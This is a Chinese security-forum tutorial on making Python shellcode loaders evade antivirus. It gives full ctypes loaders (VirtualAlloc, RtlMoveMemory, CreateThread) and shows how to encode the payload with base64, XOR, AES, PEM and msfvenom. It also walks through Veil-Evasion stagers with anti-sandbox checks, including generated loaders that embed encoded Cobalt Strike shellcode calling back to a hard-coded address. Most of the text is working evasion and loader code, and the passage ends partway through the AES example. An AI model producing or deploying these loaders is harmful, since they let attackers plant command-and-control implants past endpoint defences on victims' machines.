免杀&&抽奖|python进行shellcode免杀

2022-09-22 19:51:15 浏览数 (1)

以下文章来源于亿人安全 ,作者St3pBy

文章首发于:奇安信补天攻防社区

https://forum.butian.net/share/1690

0x00 前言

python shellcode免杀的常用手法,实现过常见AV的效果。

本文分为几个部分:

1、shellcode加载器实现;

2、代码混淆;

3、寻找免杀api

4、分离免杀,分离加载器与shellcode;

5、python打包成exe

6、组合,免杀效果分析

0x01 shellcode加载器实现

第一个shellcode加载器

大部分脚本语言加载Shellcode都是通过cffi去调用操作系统的api,如果我们了解了C是怎么加载Shellcode的原理,使用时只需要查询一下对应语言的调用方式即可。首先我们要明白,Shellcode是一串可执行的二进制代码,那么我们想利用它就可以先通过其他的方法来开辟一段具有读写和执行权限的区域;然后将我们的Shellcode放进去,之后跳转到Shellcode的首地址去执行就可以了。

我们可以利用Python中的ctypes库实现这一过程,ctypesPython的外部函数库。它提供了与C语言兼容的数据类型,并允许调用DLL或共享库中的函数。可使用该模块以纯 Python形式对这些库进行封装。

first_python_shellcodeloader.py :

代码语言:javascript复制
#coding=utf-8
#python的ctypes模块是内建,用来调用系统动态链接库函数的模块
#使用ctypes库可以很方便地调用C语言的动态链接库,并可以向其传递参数。
import ctypes

shellcode = bytearray(b"xfcxe8x89x00x00x00x60x89......")  

# 设置VirtualAlloc返回类型为ctypes.c_uint64
#在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(
   ctypes.c_int(0),  #要分配的内存区域的地址
   ctypes.c_int(len(shellcode)), #分配的大小
   ctypes.c_int(0x3000),  #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE
   ctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性
  )

# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
   ctypes.c_uint64(ptr),
   buffered,
   ctypes.c_int(len(shellcode))
)

# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
   ctypes.c_int(0), #指向安全属性的指针
   ctypes.c_int(0), #初始堆栈大小
   ctypes.c_uint64(ptr), #指向起始地址的指针
   ctypes.c_int(0), #指向任何参数的指针
   ctypes.c_int(0), #创建标志
   ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针
)

# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

使用CS生成shellcode,填入以上代码的shellcode部分,然后运行脚本,即可上线:

然后,我们可以使用pytinstaller、py2exe打包成exe。但是现在并没有任何免杀效果。

为了达到免杀效果,我们需要从多方面去考虑,shellcode特征、加载器特征等, 需要逐个去debug

渐进式加载模式

在申请内存时,一定要把控好属性,可以在Shellcode读入时,申请一个普通的可读写的内存页,然后再通过VirtualProtect改变它的属性 -> 可执行。

代码语言:javascript复制
#coding=utf-8
import ctypes

shellcode = bytearray(b"xfcx48x83....")

# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(
   ctypes.c_int(0),  #要分配的内存区域的地址
   ctypes.c_int(len(shellcode)), #分配的大小
   ctypes.c_int(0x3000),  #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE
   ctypes.c_int(0x04) #该内存的初始保护属性,0x04代表可读可写不可执行属性
  )

# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
   ctypes.c_uint64(ptr),
   buffered,
   ctypes.c_int(len(shellcode))
)

# 这里开始更改它的属性为可执行
ctypes.windll.kernel32.VirtualProtect(ptr, len(shellcode), 0x40, ctypes.byref(ctypes.c_long(1)))

# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
   ctypes.c_int(0), #指向安全属性的指针
   ctypes.c_int(0), #初始堆栈大小
   ctypes.c_uint64(ptr), #指向起始地址的指针
   ctypes.c_int(0), #指向任何参数的指针
   ctypes.c_int(0), #创建标志
   ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针
)

# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

当然现在也有一些杀软对VirtualAlloc和VirtualProtect连用进行查杀

0x02 代码混淆

shellcode混淆

可用的shellcode混淆方法有很多,如:直接使用aes、des、xor、base64、hex等方法对shellcode进行编码,或者使用现成的工具(msfvenom、veil)对shellcode进行二进制形式的混淆,或者反序列化混淆等,再将其中的几种进行结合以达到更好的效果。这里我们演示其中的几种。

base64

base64的实现比较简单,但是单独使用效果不怎么样,一般会与其他方法配合使用。

shellcode_base64_encode.py:

代码语言:javascript复制
import base64

buf1 = b"xfcx48x83xe4xf0xe8xc8x00x00..."

#b64shellcode = base64.b64encode(buf1)                   # b'xxxx'
b64shellcode = base64.b64encode(buf1).decode('ascii')    #获取纯字符串

print(b64shellcode)

我们加载器相应的需要进行base64解码,只需改前两行就可以,把生成的base64填入

first_base64_decode_shellcodeloader.py:

代码语言:javascript复制
import base64
import ctypes

shellcode = base64.b64decode(b'/EiD5PDoyAAAAEF......')

shellcode = bytearray(shellcode)

# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(
   ctypes.c_int(0),  #要分配的内存区域的地址
   ctypes.c_int(len(shellcode)), #分配的大小
   ctypes.c_int(0x3000),  #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE
   ctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性
  )

# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
   ctypes.c_uint64(ptr),
   buffered,
   ctypes.c_int(len(shellcode))
)

# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
   ctypes.c_int(0), #指向安全属性的指针
   ctypes.c_int(0), #初始堆栈大小
   ctypes.c_uint64(ptr), #指向起始地址的指针
   ctypes.c_int(0), #指向任何参数的指针
   ctypes.c_int(0), #创建标志
   ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针
)

# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

运行上面的代码,即可上线

xor

异或加密算是最简单高效的方法。

利用CS生成raw格式的shellcode,然后用python读取shellcode对其中的字节一个一个的做异或。

shellcode_xor_encode.py:

代码语言:javascript复制
# __*__coding:utf-8 __*__
from optparse import OptionParser
import sys

def xorEncode(file,key,output):
   shellcode = ""
   shellcode_size = 0
   while True:
       code = file.read(1)
       if not code :
           break
       code = ord(code) ^ key
       code_hex = hex(code)
       code_hex = code_hex.replace("0x",'')
       if len(code_hex) == 1:
           code_hex = '0' code_hex
       shellcode  = '\x'   code_hex
       shellcode_size  = 1
   file.close()
   output.write(shellcode)
   output.close()
   print(f"shellcodeSize:{shellcode_size}")

if __name__== "__main__":
   usage = "usage: %prog [-f] input_filename [-k] key [-o] output_filename"
   parser = OptionParser(usage=usage)
   parser.add_option("-f","--file",help="input raw shellcode file",type="string",dest="file")
   parser.add_option("-k","--key",help="xor key",type="int",dest="key",default=11)
   parser.add_option("-o","--output",help="output x16 shellcode file",type="string",dest="output")

   if len(sys.argv) < 4:
       parser.print_help()
       exit()

  (options, params) = parser.parse_args()
   with open(options.file,'rb') as file:
       with open(options.output,'w ') as output:
           xorEncode(file,options.key,output)

这样shellcode就完成了异或加密。

接下来我们加载器相应的需要进行异或解密,注意key要一样

xor_decode_shellcodeloader.py :

代码语言:javascript复制
import ctypes

#xor shellcode
xor_shellcode = "生成的xor shellcode"

#xor key
key = 11

shellcode = bytearray([ord(xor_shellcode[i]) ^ key for i in range(len(xor_shellcode))])

# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(
   ctypes.c_int(0),  #要分配的内存区域的地址
   ctypes.c_int(len(shellcode)), #分配的大小
   ctypes.c_int(0x3000),  #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE
   ctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性
  )

# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
   ctypes.c_uint64(ptr),
   buffered,
   ctypes.c_int(len(shellcode))
)

# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
   ctypes.c_int(0), #指向安全属性的指针
   ctypes.c_int(0), #初始堆栈大小
   ctypes.c_uint64(ptr), #指向起始地址的指针
   ctypes.c_int(0), #指向任何参数的指针
   ctypes.c_int(0), #创建标志
   ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针
)

# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

运行上面的代码,即可上线

PyCryptodome 库

这里用到 PyCryptodome 库,它可以实现各种加密方式的加解密。

官方文档:https://pycryptodome.readthedocs.io/en/latest/

可用的加密方式:

代码语言:javascript复制
Symmetric ciphers:
AES
Single and Triple DES (legacy)
CAST-128 (legacy)
RC2 (legacy)

Traditional modes of operations for symmetric ciphers:
ECB
CBC
CFB
OFB
CTR
OpenPGP (a variant of CFB, RFC4880)

Authenticated Encryption:
CCM (AES only)
EAX
GCM (AES only)
SIV (AES only)
OCB (AES only)
ChaCha20-Poly1305

Stream ciphers:
Salsa20
ChaCha20
RC4 (legacy)
Cryptographic hashes:
SHA-1
SHA-2 hashes (224, 256, 384, 512, 512/224, 512/256)
SHA-3 hashes (224, 256, 384, 512) and XOFs (SHAKE128, SHAKE256)
Functions derived from SHA-3 (cSHAKE128, cSHAKE256, TupleHash128, TupleHash256)
KangarooTwelve (XOF)
Keccak (original submission to SHA-3)
BLAKE2b and BLAKE2s
RIPE-MD160 (legacy)
MD5 (legacy)
Message Authentication Codes (MAC):
HMAC
CMAC
KMAC128 and KMAC256
Poly1305
Asymmetric key generation:
RSA
ECC (NIST curves P-192, P-224, P-256, P-384 and P-521)
DSA
ElGamal (legacy)

Export and import format for asymmetric keys:
PEM (clear and encrypted)
PKCS#8 (clear and encrypted)
ASN.1 DER
Asymmetric ciphers:
PKCS#1 (RSA)
RSAES-PKCS1-v1_5
RSAES-OAEP

Asymmetric digital signatures:
PKCS#1 (RSA)
RSASSA-PKCS1-v1_5
RSASSA-PSS
(EC)DSA
Nonce-based (FIPS 186-3)
Deterministic (RFC6979)
Key derivation:
PBKDF2
scrypt
HKDF
PBKDF1 (legacy)

Other cryptographic protocols:
Shamir Secret Sharing
Padding
PKCS#7
ISO-7816
X.923

API:

安装:

代码语言:javascript复制
pip install pycryptodome -i https://pypi.douban.com/simple

下面演示几种,更多的可以自己去探索。

AES

参考文档:

https://pycryptodome.readthedocs.io/en/latest/src/cipher/aes.html

具体我这里就不再展开了。

直接用:

加密,CBC模式

shellcode_aes_encode.py:

代码语言:javascript复制
from base64 import b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes

shellcode = b"xfcx48x83xe4xf0...."

key = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_CBC)
ct_bytes = cipher.encrypt(pad(shellcode, AES.block_size))
iv = b64encode(cipher.iv).decode('utf-8')
ct = b64encode(ct_bytes).decode('utf-8')

print('iv: n {} n key:n {} n ase_shellcode:n {} n'.format(iv,key,ct))

解密,并加载:

aes_decode_shellcodeloader.py:

代码语言:javascript复制
import ctypes
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

#把加密代码输出的结果填到下面
iv='xxx'
key=b'xxx'
ase_shellcode='xxx'

iv = b64decode(iv)
ase_shellcode = b64decode(ase_shellcode)
cipher = AES.new(key, AES.MODE_CBC, iv)

shellcode = bytearray(unpad(cipher.decrypt(ase_shellcode), AES.block_size))

# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),  #要分配的内存区域的地址
    ctypes.c_int(len(shellcode)), #分配的大小
    ctypes.c_int(0x3000),  #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE
    ctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性
    )

# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buffered,
    ctypes.c_int(len(shellcode))
)

# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), #指向安全属性的指针
    ctypes.c_int(0), #初始堆栈大小
    ctypes.c_uint64(ptr), #指向起始地址的指针
    ctypes.c_int(0), #指向任何参数的指针
    ctypes.c_int(0), #创建标志
    ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针
)

# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

运行上面代码,即可上线:

PEM

加密

代码语言:javascript复制
from Crypto.IO import PEM

buf = b""
# 加密
# passphrase:指定密钥
# marker:指定名称
buf = PEM.encode(buf, marker="shellcode", passphrase=None, randfunc=None)

解密,加载

代码语言:javascript复制
import ctypes
from Crypto.IO import PEM

# 加密后的shellcode
buf = """ """
# 解密
shellcode = bytearray(PEM.decode(buf, passphrase=None)[0])
...
...

测试:

msfvenom

对CS生成的payload 使用msfvenom编码

代码语言:javascript复制
// -f 指定输出格式,可以生成任意格式的shellcode 。
//源文件(cat 的shellcode) 可以是二进制或16进制的shellcode(cs生成raw/c/py)

cat payload.bin |msfvenom -e x64/xor -o test.bin -a x64 --platform windows 
//生成的test.bin 是二进制shellcode,可以再转成16进制用C或python写加载器加载

cat shellcode.txt |msfvenom -e x64/xor -o xor_shellcode.py -a x64 --platform windows -f python
//shellcode.txt 是16进制shellcode,


//-e 编码方式(x86/shikata_ga_nai)    
//-i 编码次数
//-b 在生成的程序中避免出现的值 ( 过滤坏字符 'x00,xff')

测试:

msfvenom对cs生成的raw格式的shellcode进行编码,输出python格式的编码

提取出来,放到加载器,运行即可:

veil

可以使用veil对CS生成的16进制shellcode进行处理

Veil docker版本:

拉取镜像 docker pull mattiasohlsson/veil 启动容器 docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil 其中/tmp/veil-output为我物理机系统的路径

之后再进入镜像可以在启动镜像后使用下面命令

代码语言:javascript复制
docker exec -it 容器ID /bin/bash

Veil主要分为两个功能:

这里使用到的是 Evasion 。

使用list 看到41种stager

这里用到的是python相关的几个

代码语言:javascript复制
	29)	python/shellcode_inject/aes_encrypt.py
	30)	python/shellcode_inject/arc_encrypt.py
	31)	python/shellcode_inject/base64_substitution.py
	32)	python/shellcode_inject/des_encrypt.py
	33)	python/shellcode_inject/flat.py
	34)	python/shellcode_inject/letter_substitution.py
	35)	python/shellcode_inject/pidinject.py
	36)	python/shellcode_inject/stallion.py

我们以31) python/shellcode_inject/base64_substitution.py演示一下:

use 31

接下来看到以下设置,意思是该stager执行时执行哪些检查与必要的配置(可以保证只有在满足指定条件时才会注入并执行嵌入的shellcode从而避免被沙箱等引擎行为分析)

具体解释下:

代码语言:javascript复制
**BADMACS** 设置为Y表示查看运行环境的MAC地址如果不是虚拟机才会执行payload (反调试)

**CLICKTRACK** 设置为4表示 表示需要4次点击才会执行

**COMPILE_TO_EXE** 设置为Y表示 编译为exe文件

**DISKSIZE** 设置为100表示 运行环境的硬盘大小如果大于100GB才会执行payload (反沙箱)

**HOSTNAME** 设置为Comp1表示 只有在Hostname计算机名为Comp1时才会执行payload(指定目标环境 反沙箱的方式)

**INJECT_METHOD** 可设置为Virtual 或 Heap

**MINPROCS** 设置为20表示 只有运行环境的运行进程数大于20时才会执行payload(指定目标环境 反沙箱的方式)

**PROCCHECK** 设置为Y表示 只有运行环境的进程中没有虚拟机进程时才会执行payload(指定目标环境 反沙箱的方式)

**PROCESSORS** 设置为2表示 只在至少2核的机器中才会执行payload(指定目标环境 反沙箱的方式)

**RAMCHECK** 设置为Y表示 只在运行环境的内存为3G以上时才会执行payload(指定目标环境 反沙箱的方式)

**SLEEP** 设置为10表示 休眠10秒 以检测是否运行过程中被加速(反沙箱)

**USERNAME** 设置为Tom表示 只有在当前用户名为Tom的机器中才执行payload。

**USERPROMPT** 设置为Y表示 在injection之前提醒用户(提示一个错误框,让用户误以为该程序执行错误才无法打开)

**DEBUGGER** 设置为Y表示 当被调试器不被attached时才会执行payload (反调试)

**DOMAIN** 设置为Comp表示 受害者计算机只有加入Comp域中时,才会执行payload(指定目标环境 反沙箱的方式)

**UTCCHECK** 设置为Y表示 只在运行环境的系统使用UTC时间时,才会执行payload

这里简单设置几个

然后输入,generate,然后选择3

输入CS的16进制 shellcode字符串:

然后输入生成文件的名称for_test, 生成了2个文件:

来看一下生成的代码:

base64_sanbox_test.py

代码语言:javascript复制
import win32api
rYvnOAL = 0
iQNSBwRpPNii = 4
while rYvnOAL < iQNSBwRpPNii:
    oRZxcjjWNWxMTV = win32api.GetAsyncKeyState(1)
    SxQGYer = win32api.GetAsyncKeyState(2)
    if oRZxcjjWNWxMTV % 2 == 1:
        rYvnOAL  = 1
    if SxQGYer % 2 == 1:
        rYvnOAL  = 1
if rYvnOAL >= iQNSBwRpPNii:
    import time as KWZIlBfZMcYj
    if KWZIlBfZMcYj.tzname[0] != "Coordinated Universal Time" and KWZIlBfZMcYj.tzname[1] != "Coordinated Universal Time":
        from time import sleep
        from socket import AF_INET, SOCK_DGRAM
        import sys
        import datetime
        import time
        import socket
        import struct
        client = socket.socket(AF_INET, SOCK_DGRAM)
        client.sendto((bytes.fromhex("1b")   47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))
        msg, address = client.recvfrom( 1024 )
        QwIeOKFgBDkV = datetime.datetime.fromtimestamp(struct.unpack("!12I",msg)[10] - 2208988800)
        sleep(10)
        client.sendto((bytes.fromhex("1b")   47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))
        msg, address = client.recvfrom( 1024 )
        if ((datetime.datetime.fromtimestamp((struct.unpack("!12I",msg)[10] - 2208988800)) - QwIeOKFgBDkV).seconds >= 10):
            import ctypes as ycVksxvEXqvTANC
            import base64
            hmyBiUmcHsutivM = base64.b64decode("/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulP////XWoASb53aW5pbmV0AEFWSYnmTInxQbpMdyYH/9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn/9Xrc1pIicFBuFAAAABNMclBUUFRagNBUUG6V4mfxv/V61lbSInBSDHSSYnYTTHJUmgAAkCEUlJBuutVLjv/1UiJxkiDw1BqCl9IifFIidpJx8D/////TTHJUlJBui0GGHv/1YXAD4WdAQAASP/PD4SMAQAA69Pp5AEAAOii////LzRteEQAp9Aj4CqXYbbIwHANt0VcayUT6GfUbiCX qjtquwmOrievppIiuOWfNniEdCWAF7js5vbahKPjrUjon47f5JP79wIKCw84ql6JABVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMDsgTUFBVTsgTlAwOCkNCgAYZADngQNwh2cj52nugbTcxg6nAqiGJ9aKZHF0UzytK8rYtQ/Ue44z2BrXSJXR jQZ0NuVJ5wsbYDW4 BnA5XpAixgwvPUl2NgN9uvL13TtnDrtzlYcRTypNyby6fLmF47VktLOpJQ8spLj2799CdoePvnZLMU7ZSCupFZEmJ7t95KUW0Hv7GkJatMMXMb8JiDNj Q4b/VQAqSThp/eNg1NiTtEE7u UwREUSGfhqF8Yjkzj7Jsgtpg3LCmej9Lm8LN9l L7zRBF8AQb7wtaJW/9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f/VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJ UG6EpaJ4v/VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon/3//zE5Mi4xNjguMTExLjEzMQASNFZ4")
            rMXYpPMXynT = ycVksxvEXqvTANC.windll.kernel32.VirtualAlloc(ycVksxvEXqvTANC.c_int(0),ycVksxvEXqvTANC.c_int(len(hmyBiUmcHsutivM)),ycVksxvEXqvTANC.c_int(0x3000),ycVksxvEXqvTANC.c_int(0x04))
            ycVksxvEXqvTANC.windll.kernel32.RtlMoveMemory(ycVksxvEXqvTANC.c_int(rMXYpPMXynT),hmyBiUmcHsutivM,ycVksxvEXqvTANC.c_int(len(hmyBiUmcHsutivM)))
            pmRnvgX = ycVksxvEXqvTANC.windll.kernel32.VirtualProtect(ycVksxvEXqvTANC.c_int(rMXYpPMXynT),ycVksxvEXqvTANC.c_int(len(hmyBiUmcHsutivM)),ycVksxvEXqvTANC.c_int(0x20),ycVksxvEXqvTANC.byref(ycVksxvEXqvTANC.c_uint32(0)))
            IXUkyI = ycVksxvEXqvTANC.windll.kernel32.CreateThread(ycVksxvEXqvTANC.c_int(0),ycVksxvEXqvTANC.c_int(0),ycVksxvEXqvTANC.c_int(rMXYpPMXynT),ycVksxvEXqvTANC.c_int(0),ycVksxvEXqvTANC.c_int(0),ycVksxvEXqvTANC.pointer(ycVksxvEXqvTANC.c_int(0)))
            ycVksxvEXqvTANC.windll.kernel32.WaitForSingleObject(ycVksxvEXqvTANC.c_int(IXUkyI),ycVksxvEXqvTANC.c_int(-1))

生成了一些反沙箱的代码。

作为对比,我们啥都不修改,直接生成看一下:

base64_test.py

代码语言:javascript复制
import ctypes as utHlfsE
import base64
znDuyLotmJPitl = base64.b64decode("/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulP////XWoASb53aW5pbmV0AEFWSYnmTInxQbpMdyYH/9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn/9Xrc1pIicFBuFAAAABNMclBUUFRagNBUUG6V4mfxv/V61lbSInBSDHSSYnYTTHJUmgAAkCEUlJBuutVLjv/1UiJxkiDw1BqCl9IifFIidpJx8D/////TTHJUlJBui0GGHv/1YXAD4WdAQAASP/PD4SMAQAA69Pp5AEAAOii////LzRteEQAp9Aj4CqXYbbIwHANt0VcayUT6GfUbiCX qjtquwmOrievppIiuOWfNniEdCWAF7js5vbahKPjrUjon47f5JP79wIKCw84ql6JABVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMDsgTUFBVTsgTlAwOCkNCgAYZADngQNwh2cj52nugbTcxg6nAqiGJ9aKZHF0UzytK8rYtQ/Ue44z2BrXSJXR jQZ0NuVJ5wsbYDW4 BnA5XpAixgwvPUl2NgN9uvL13TtnDrtzlYcRTypNyby6fLmF47VktLOpJQ8spLj2799CdoePvnZLMU7ZSCupFZEmJ7t95KUW0Hv7GkJatMMXMb8JiDNj Q4b/VQAqSThp/eNg1NiTtEE7u UwREUSGfhqF8Yjkzj7Jsgtpg3LCmej9Lm8LN9l L7zRBF8AQb7wtaJW/9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f/VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJ UG6EpaJ4v/VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon/3//zE5Mi4xNjguMTExLjEzMQASNFZ4")
ZDalvXpwBNnVvq = utHlfsE.windll.kernel32.VirtualAlloc(utHlfsE.c_int(0),utHlfsE.c_int(len(znDuyLotmJPitl)),utHlfsE.c_int(0x3000),utHlfsE.c_int(0x04))
utHlfsE.windll.kernel32.RtlMoveMemory(utHlfsE.c_int(ZDalvXpwBNnVvq),znDuyLotmJPitl,utHlfsE.c_int(len(znDuyLotmJPitl)))
pmVvUiefseHqNNY = utHlfsE.windll.kernel32.VirtualProtect(utHlfsE.c_int(ZDalvXpwBNnVvq),utHlfsE.c_int(len(znDuyLotmJPitl)),utHlfsE.c_int(0x20),utHlfsE.byref(utHlfsE.c_uint32(0)))
JZcSPsSDPnvgtn = utHlfsE.windll.kernel32.CreateThread(utHlfsE.c_int(0),utHlfsE.c_int(0),utHlfsE.c_int(ZDalvXpwBNnVvq),utHlfsE.c_int(0),utHlfsE.c_int(0),utHlfsE.pointer(utHlfsE.c_int(0)))
utHlfsE.windll.kernel32.WaitForSingleObject(utHlfsE.c_int(JZcSPsSDPnvgtn),utHlfsE.c_int(-1))

这里直接是换了些随机的变量名,然后shellcode进行base64编码。

然而,前面的代码虽然增加了反沙箱的操作,但是无疑给杀软提供了更多可能被识别出来的特征,我们还需要对这些特征进行规避,所以它并不一定会更安全。

再来看一个 aes加密的:

29) python/shellcode_inject/aes_encrypt.py

ase_test.py

代码语言:javascript复制
import ctypes as iiNDktFoHGVBRd
from Crypto.Cipher import AES
import base64
yVVpTTnNP = AES.new('Bk1hMf9k$.f?XbO4u^#Qg#yS$/m9tyG/', AES.MODE_CBC, 'zOYsRtGtNOlkuHLd')
ZDRmJB = base64.b64decode('P6mAFv7b2EUDyANT5IMpOFXjdi4CBpqI0haGvxx/MwntkX69V8dq7gF9nac uYYzEnQ z0rRP7YJFn7I3k0ZJX5fxbuVHd6lhHoIcgrDmn8w8fTG4Pfjct5j2Zaoe XWMUKnPmJdMRtbUy55YNcLPcX3haC0w8W7tQgecOe/Uz4nzylQGHOcEWBrZmmX1GpohYFR3hPIGq9wW8Y2lTkLlTI/pWngUOHWMFC16B5BGDWGSqSSBNrp3VlEo6fXtV5BRlDgAUvi2kht0Vp4ElBizVAWoDl8e4xWzoUcNUOlbwNVEnxSdAujbt1tzb7pyYaOxUlFaheGbuwD9E5Uk5PVWDvns/NVrDxmhJuzQYqHnrn3eF9i8pLFJs1ZwgL/WNgpTGvNrWmu5PZ5LIbbQXgaCDhaehjhqMNpRqyzhg/kEfAxKSc4w1gwrwga5knFUlJPmSmRJysZwp7YO57lIcOt3MklQcLjdEqjlHEidbWdWLkfsffMfD86hxjkgJaKtTwQLf6DOMeCyOGMfZAe1nTTyctYmIv3rd8pprmnpyxrdBkSKi1ZbP8U3ytBNGrQdG1AhClT/uhFVOO/mbvkzz3xY61/GvRtdz 58HhQdhwmxJ1Ma4Mk80aPHzmCOBX6kbEud350oUGWv11p6A Rae40MmH juk0D6JMXA0B9Kb4YGetkMMWn87ryRxh/yp71q8v6DGAIZfiBYImnH6abtkIJmw 58 7kzWsrSsv2X9TSeF6MlXOhpRxDpAmgf64dqxpM/QjSRdzQFHy5QV524hGP8MOiuYwVGZikslIAygRzBKLL6ZhZ02u7lcmDpXVsXBJEnaKf/GItnVgh5WIgBPJZ4R6Qv2lr62Iw4HGIhluiPcVcsRehKcW9pp2rxEQ6X4WKe qDQrgxKUBGJmM8sg3xifochNv1Pq64V7ADxYt4BV/pQvoYRvcaM8AImtNJUIcREH5ZxdMegM19dtbsQ7db2O1twrVbsGvPjafr qTuxIctBXVY/kTwiaeHTpzXYXjPb72ej1EYDtWyhycEPOKBtH0E86oJIkkcOD0GpAwMg4U6BSYCQIMXZ6sWa0DfeQKlDOOKy /PZiNnwXnzvYG205RcX2SCF4XR54wjsWOdmcTArGVYiVsJhRoKLd370zjiebUfLE7UDrJ8ejmljdznaAsga4nLnyUSrZ3joGkfDU=')
ORopsFE = yVVpTTnNP.decrypt(ZDRmJB)
